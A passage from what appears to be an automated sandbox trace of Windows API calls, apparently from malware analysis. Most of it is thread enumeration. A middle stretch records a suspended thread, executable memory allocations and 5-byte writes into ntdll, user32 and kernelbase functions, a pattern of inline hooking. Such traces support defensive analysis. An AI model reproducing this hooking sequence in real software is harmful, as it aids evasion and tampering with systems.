Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.188] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.188] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.189] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.190] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.191] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.192] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.192] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.193] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.395] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0xe24) returned 0x14c [0271.396] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x4) returned 0xe60a68 [0271.396] CloseHandle (hObject=0x148) returned 1 [0271.396] SuspendThread (hThread=0x14c) returned 0x0 [0271.397] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe60a78 [0271.397] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xa) returned 0xe60a90 [0271.398] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77260000 [0271.399] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe60aa8 [0271.399] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x12) returned 0xe60ac0 [0271.401] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe60ae0 [0271.401] GetSystemInfo (in: lpSystemInfo=0x19e958 | out: lpSystemInfo=0x19e958*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0271.402] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x1e0000 [0271.402] GetCurrentProcess () returned 0xffffffff [0271.402] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1e0005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.402] GetCurrentProcess () returned 0xffffffff [0271.402] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1e000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0271.403] GetCurrentProcess () returned 0xffffffff [0271.403] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x772bff60, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.404] VirtualProtect (in: lpAddress=0x1e0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0271.404] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x4) returned 0xe60af8 [0271.405] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe60b08 [0271.405] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x12) returned 0xe60b20 [0271.407] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe60b40 [0271.407] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x1f0000 [0271.408] GetCurrentProcess () returned 0xffffffff [0271.408] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1f0008, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.408] GetCurrentProcess () returned 0xffffffff [0271.408] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1f0015, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0271.408] GetCurrentProcess () returned 0xffffffff [0271.408] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x772e6560, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.410] VirtualProtect (in: lpAddress=0x1f0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0271.410] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x8) returned 0xe60b58 [0271.410] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe60af8 | out: hHeap=0xe60000) returned 1 [0271.411] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe60b68 [0271.412] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xb) returned 0xe60b80 [0271.412] GetModuleHandleA (lpModuleName="user32.dll") returned 0x765c0000 [0271.412] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe60b98 [0271.413] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe60bb0 [0271.414] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe60bc8 [0271.414] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe20000 [0271.414] GetCurrentProcess () returned 0xffffffff [0271.414] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe20005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.414] GetCurrentProcess () returned 0xffffffff [0271.414] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe2000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0271.415] GetCurrentProcess () returned 0xffffffff [0271.415] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x765dd7b0, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.415] VirtualProtect (in: lpAddress=0xe20000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0271.416] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe60be0 [0271.416] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe60b58 | out: hHeap=0xe60000) returned 1 [0271.417] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe60bf8 [0271.417] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe604a0 [0271.419] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe656f0 [0271.419] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe40000 [0271.420] GetCurrentProcess () returned 0xffffffff [0271.420] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe40005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.420] GetCurrentProcess () returned 0xffffffff [0271.420] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe4000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0271.420] GetCurrentProcess () returned 0xffffffff [0271.420] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x765f0480, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.421] VirtualProtect (in: lpAddress=0xe40000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0271.422] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe65768 [0271.422] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xf) returned 0xe65738 [0271.423] GetModuleHandleA (lpModuleName="kernelbase.dll") returned 0x76850000 [0271.425] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe657f8 [0271.426] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe50000 [0271.426] GetCurrentProcess () returned 0xffffffff [0271.426] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe50005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.426] GetCurrentProcess () returned 0xffffffff [0271.426] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe5000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0271.426] GetCurrentProcess () returned 0xffffffff [0271.426] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76920090, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.427] VirtualProtect (in: lpAddress=0xe50000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0271.428] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x20) returned 0xe604b8 [0271.428] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe60be0 | out: hHeap=0xe60000) returned 1 [0271.431] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe65888 [0271.431] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x27f0000 [0271.431] GetCurrentProcess () returned 0xffffffff [0271.431] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x27f0005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.432] GetCurrentProcess () returned 0xffffffff [0271.432] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x27f000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0271.432] GetCurrentProcess () returned 0xffffffff [0271.432] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76946320, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0271.433] VirtualProtect (in: lpAddress=0x27f0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0271.433] ResumeThread (hThread=0x14c) returned 0x1 [0271.434] CloseHandle (hObject=0x14c) returned 1 [0271.434] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe60a68 | out: hHeap=0xe60000) returned 1 [0271.434] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x14c [0271.440] Thread32First (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.441] GetCurrentProcessId () returned 0xe08 [0271.441] GetCurrentThreadId () returned 0xe0c [0271.441] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.442] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.442] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.443] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.444] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.445] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.445] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.446] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.447] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.447] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.448] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.449] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.450] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.450] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.451] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.452] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.452] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.453] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.454] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.455] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.455] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.456] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.457] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.458] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.459] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.459] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.460] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.461] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.462] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.462] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.463] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.464] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.464] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.465] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.466] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.467] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.467] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.468] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.469] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.470] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.470] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.471] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.472] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.475] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.475] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.476] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.477] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.478] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.478] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.479] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.480] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.480] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.481] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.482] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.482] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.483] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.484] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.485] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.485] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.486] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.487] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.488] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.488] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.489] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.490] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.490] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.491] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.492] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.493] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.493] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.494] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.495] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.495] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.496] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.497] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.497] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.498] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.499] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.500] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.500] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.501] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.502] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.503] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.503] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.505] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.505] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.506] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.507] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.508] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.508] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.509] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.510] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.511] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.511] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.512] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.513] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.514] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.514] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.515] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.516] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.517] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.517] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.519] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.520] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.520] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.521] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.522] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.523] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.523] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.524] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.525] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.526] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.526] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.527] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.528] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.529] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.529] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.530] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.531] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.532] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.533] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.533] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.534] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.535] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.536] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.537] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.537] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.538] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.539] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.540] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.541] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.542] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.542] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.543] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.544] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.545] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.545] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.546] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.547] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.548] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.549] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.549] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.551] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.552] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.553] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.554] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.555] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.556] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.556] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.557] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.558] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.559] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.560] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.560] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.561] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.562] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.563] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.564] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.564] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.566] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.567] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.568] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.568] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.569] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.570] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.571] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.571] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.572] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.573] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.574] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.575] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.575] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.576] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.577] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.578] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.578] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.579] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.580] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.581] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.582] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.582] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.583] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.584] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.585] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.585] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.586] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.587] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.588] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.588] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.589] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.590] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.591] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.591] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.592] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.593] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.594] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.594] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.595] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.596] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.597] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.598] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.599] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.599] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.600] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.601] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.602] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 